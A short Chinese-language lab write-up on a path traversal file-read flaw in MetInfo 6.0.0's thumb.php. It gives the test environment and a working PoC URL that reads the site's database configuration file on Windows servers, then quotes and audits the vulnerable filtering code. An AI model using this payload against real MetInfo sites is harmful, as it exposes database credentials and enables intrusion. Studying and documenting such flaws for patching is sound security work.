环境:
OS:windows server 2016
WEB SERVER:PHPStudy pro
CMS:MetInfo6.0.0
PHP版本:php5.3.29
环境搭建:
下载metinfo6.0.0源码包
解压源码包并且初始化网站
漏洞点:
/include/thumb.php
POC
/include/thumb.php?dir=http\..\..\config\config_db.php
注意:该POC仅在windows环境中生效
代码审计
打开源码包,找到app/system/include/module/old_thumb.class.php
$dir = str_replace(array('../','./'), '', $_GET['dir']);
if(substr(str_replace($_M['url']['site'], '', $dir),0,4) == 'http' && strpos($dir, './') === false){
header("Content-type: image/jpeg");
ob_start();
readfile($dir);
ob_flush();
flush();
die;
}
接收到了get提交的参数dir,并且将字符../
和./
进行了替换
在if
语句中,又将检查字符串的前4个字符是否等于http
且是否包含./
字符,如果是,则返回false
所以我们在payload中使用..\
字符串用来避开检测,这也就是为什么只能在windows服务器生效的原因